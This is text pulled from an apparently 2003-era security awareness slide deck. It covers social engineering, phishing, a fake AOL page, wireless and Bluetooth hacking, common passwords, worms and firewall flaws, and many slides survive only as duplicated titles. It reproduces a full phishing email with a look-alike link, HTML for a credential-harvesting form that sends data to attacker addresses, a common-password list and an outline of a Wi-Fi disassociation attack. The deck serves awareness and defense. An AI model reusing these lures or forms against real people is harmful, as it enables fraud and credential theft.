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A quick word on 
Social Engineering



InfoSecurity Europe 2003 SurveyInfoSecurity Europe 2003 Survey
• Workers were asked a series of questions which included: What is

your password? Three in four (75 per cent) of people immediately
gave their password. 

• If they initially refused they were asked which category their 
password fell into and then asked a further question to find out the 
password. 

• A further 15 percent were then prepared to give over their 
passwords, after the most rudimentary of social engineering tricks 
were applied. 

• One interviewee said, "I am the CEO, I will not give you my 
password it could compromise my company's information". 

• A good start, but then the company boss blew it. He later said that 
his password was his daughter's name. 

• What is your daughters name the interviewer cheekily asked - He 
replied without thinking: "Tasmin". 



The SwiftPay Email Scheme The SwiftPay Email Scheme 

User avanta@gmx.net just send $974.50 USD with E-mail to you: 

SwiftPay User-ID: avanta@gmx.net (MHT Warehouse)
Transaction#: 0053148
Date: 21-07-2003
Comments: We are refunding your money with swiftpay because our merchant is currently 
off-line, please excuse us for the delay

If you are not registred with SwiftPay.com please follow the link bellow:
http://www.swiftspay.com/signup/index.php
Once you register, the money will appear in your SwiftPay's account balance in 

your overview page. You can withraw the outstanding balance to your credit or debt card's 
bank account which you added during the registration process. 

SwiftPay`s intuitive interface makes sending and receiving money over the web as easy as one 
two three. Simply logon at SwiftPay.com and select which Swiftpay service you wish to 
avail of, whether it’s to fund your account, send money to friends family or businesses, 
request money or check your account details. With everything you need available at the 
click of a mouse, paying with SwiftPay couldn't be easier. Don’t forget, we value our 
commitment to Customer Service at SwiftPay – should you have any queries, please don’t 
hesitate to contact us and we'll do our best to answer your query as soon as possible.

With Regards,
SwiftPay Account Managers





Hmmmm See Anything Wrong……Hmmmm See Anything Wrong……





The Real Website DNS RecordThe Real Website DNS Record



Ebay Email ScamsEbay Email Scams



Do Your Part to Stop The MadnessDo Your Part to Stop The Madness



On with the 
show……



Anonymous e-mail tools…Anonymous e-mail tools…



Email Address HarvestingEmail Address Harvesting



Fake AOL Web PageFake AOL Web Page



HTML to Harvest AOL InformationHTML to Harvest AOL Information

<form action="http://3633527334/cgi-sys/formmail.pl" 
method="POST">

<input type="hidden" name="recipient"

value="bencross@angelfire.com,bencross@123india.com,sun
bow11@yahoo.com"><input

type="hidden" name="redirect" 
value="http://www.aol.com/aim/"><input type="hidden"

name="subject" value="You Got 1!"><p><font 
size="2"><DIVALIGN="CENTER"></p>

<div align="center"><center><table border="0" 
width="55">

<TBODY>
<tr>
<td><table>

<TBODY>







Spammers Photos From Her PCSpammers Photos From Her PC



Spammers Gone Wild CollectionSpammers Gone Wild Collection



Hacker Vs SpammerHacker Vs Spammer

• Over 100 MB of data downloaded
• Database of 280,000 email addresses
• Information posted to the web by the hacker:

– All evidence of the spammers illegal activities
– Explicit personal dirty letters (oh my)
– Explicit personal pictures (yes some nudes)
– All personal information on the spammer

• All business records
• Residence addresses of all business associates
• Social Security number of all business associates
• Telephone numbers of all business associates



My email address was in the list!My email address was in the list!



Back at ya, Spammer!Back at ya, Spammer!













Scripted RPC Root ExploitScripted RPC Root Exploit







New tools  WLAN hacking made easyNew tools  WLAN hacking made easy



802.11X Management Frames802.11X Management Frames



The beauty is in the simplicity….. The beauty is in the simplicity….. 

• Listen for any 802.11x packet and get 
MAC address pair.

• Create disassociation datagram using 
MAC address pair and transmit.

• Repeat…….

Coming to an AP near you very soon!



Wireless Hacking EvolvesWireless Hacking Evolves

• War Nibbling 
– Hacking Bluetooth Devices

• Make long distance calls for free
• Steal address books
• Steal stored messages
• DoS the device
• Sniff data 
• Windows supports Bluetooth (Oh My)



War Nibbling – Bluetooth ToolsWar Nibbling – Bluetooth Tools



Sniffing Wireless is Old SchoolSniffing Wireless is Old School

• Sniffing Wireless did not begin with 802.X 
• Hackers were building hardware to allow 

them to listen in on Pagers back in the late 
1980’s

• The very same protocols used then are still in 
wide use today

• New devices like the wireless BlackBerry are 
simply making the use of these Old School 
hacking techniques more popular again

• Many users do not realize that their email and 
chat on their wireless device may be in the 
clear for inquiring minds to see…. 





About that BlackBerry……..About that BlackBerry……..



Chat programs gaining popularityChat programs gaining popularity

And so are the respective hacking tools….And so are the respective hacking tools….



Sniff All AOL Chat TrafficSniff All AOL Chat Traffic





Sniff all MSN Chat TrafficSniff all MSN Chat Traffic



Latest version of WebCrackLatest version of WebCrack



Common PasswordsCommon Passwords

• System administrators generally prefer God; arrogance is a 
weakness 

• "welcome" is the most common default password used by 
most of the web-hosting clients.

• Here is the list of passwords that has been most entered: 
– love, sex, god, secret, default, unknown, aaa, abc, academia, 

academic, access, ada, admin, aerobics, airplane, albany, alf, 
algebra, alias, aliases, alpha, alphabet, amber, amorphous, 
analog, anchor, andromache, animals, anita, answer, 
anthropogenic, anything, april, aria, arrow, athena, atmosphere, 
aztecs, banana, bandit, banks, bart, bartman, basic, batman, 
beauty, wizard, work, whatever, visitor, unix, sysadmin, super, 
student, somebody, pass, password, p@ssw0rd, soap, smile, 
singer, signature, rolex, professor, pencil, paper, papers, 
operator, office, nobody, master, manager, guitar, golf, games, 
ferrari, coke, cigar, etc. 



Password Lists – 3300 Web PagesPassword Lists – 3300 Web Pages









New hacking tool suites…New hacking tool suites…



New tools… dbx ripperNew tools… dbx ripper

Opens Microsoft e-mail / 
news database without 
any account name or 
password and then 
creates a new clear text 
file containing all e-mail, 
news postings and 
headers.



Think your packet filter is enough?Think your packet filter is enough?



Remember Revelation?Remember Revelation?



Grab every username and passwordGrab every username and password



Cookie and http header forgerCookie and http header forger



Web hacking tools…Web hacking tools…



Web hacking tools…Web hacking tools…



Web hacking tools…Web hacking tools…













Hacked Web Site of 
the Year Award

Hacked Web Site of 
the Year Award





Hacking Embedded Web ServersHacking Embedded Web Servers



Attack of the Killer WormsAttack of the Killer Worms



W32.Opaserv.G.Worm



W32.Opaserv.G.Worm



W32.Opaserv.G.Worm



Code RedCode Red



Just Part of the Slammer Story….Just Part of the Slammer Story….

• The first Slammer packet was detected at 12:30AM 
• By 12:45 AM, huge sections of the Internet began to go down
• Within minutes Level 3's transcontinental chain of routers 

began to fail – overwhelmed with traffic 
• Three hundred thousand cable modems in Portugal went 

dark
• South Korea fell right off the map: no cell phone or Internet 

service for 27 million people. 
• Five of the Internet's 13 root-name servers - hardened 

systems, all - succumbed to the squall of packets. 
• Corporate email systems jammed. 
• Web sites stopped responding. 
• Emergency 911 dispatchers in suburban Seattle resorted to 

paper
• Continental Airlines, unable to process tickets, canceled 

flights from its Newark hub. 



Slammer sets new speed recordSlammer sets new speed record





Warhol WormWarhol Worm



Exploits of InterestExploits of Interest



Firewall 1 with FastPathFirewall 1 with FastPath

AckCmdC
Client

AckCmdS
Server

ACK packet

ACK packet

AckCmd burns a hole right through CP FW1 
when running FastPath or Fast Mode…… 



NetScreen URL IssueNetScreen URL Issue

Attacker
Using FragRoute

WebServer

Fragmented URL

An attacker running FragRoute could pass 
malicious URLs right through NetScreen…. 
Aka Code Red. NetScreen did not reassemble 
the fragmented URLs prior to inspection.



NetScreen Layer 4 IssueNetScreen Layer 4 Issue

Attacker running 
non TCP/IP Protocol

Server

Any Protocol other 
then TCP/IP

The default installation of certain NetScreen 
firewalls only filters IP protocol and allows 
any other foreign protocols to pass un filtered.



New MS Security InitiativeNew MS Security Initiative



Most Recent, Publicly 
Documented Vulnerabilities

BorderWare   1 1 1 1 
Check Point Firewall 1 3 2 25 11 13 26 
Cisco PIX Firewall 2 1 12 3 3 15 
CyberGuard      0 

NetScreen   14 2 2 14 
Nokia Check Point * 2  2 1 1 4 
Novell BorderManager Firewall   10 4 3 10 
Secure Computing WebShield/Gauntlet 1 1 8 6 6 8 
SpearHead Security   1 1 1 1 
SonicWall SOHO   6 3 3 8 
Symantec Enterprise (Raptor)   11 2 2 11 
WatchGuard FireBox   14 9 10 14 

CERT CIAC BugTraq X-Force CVE TOTAL**
 

07/31/03

•All Check Point 
vulnerabilities also 
apply to the Nokia 
firewall since it is a 
Check Point 
appliance. The 
Nokia vulnerability 
is specific to the 
Nokia platform.                         
**TOTAL is the total 
number of 
vulnerabilities 
reported since 
01/29/00, not the 
sum across 
columns since a 
vulnerability may be 
reported by more 
than one source.        

Microsoft Excel 
Worksheet

How Are Firewall Vendors Doing?How Are Firewall Vendors Doing?



Sleep Well………..Sleep Well………..


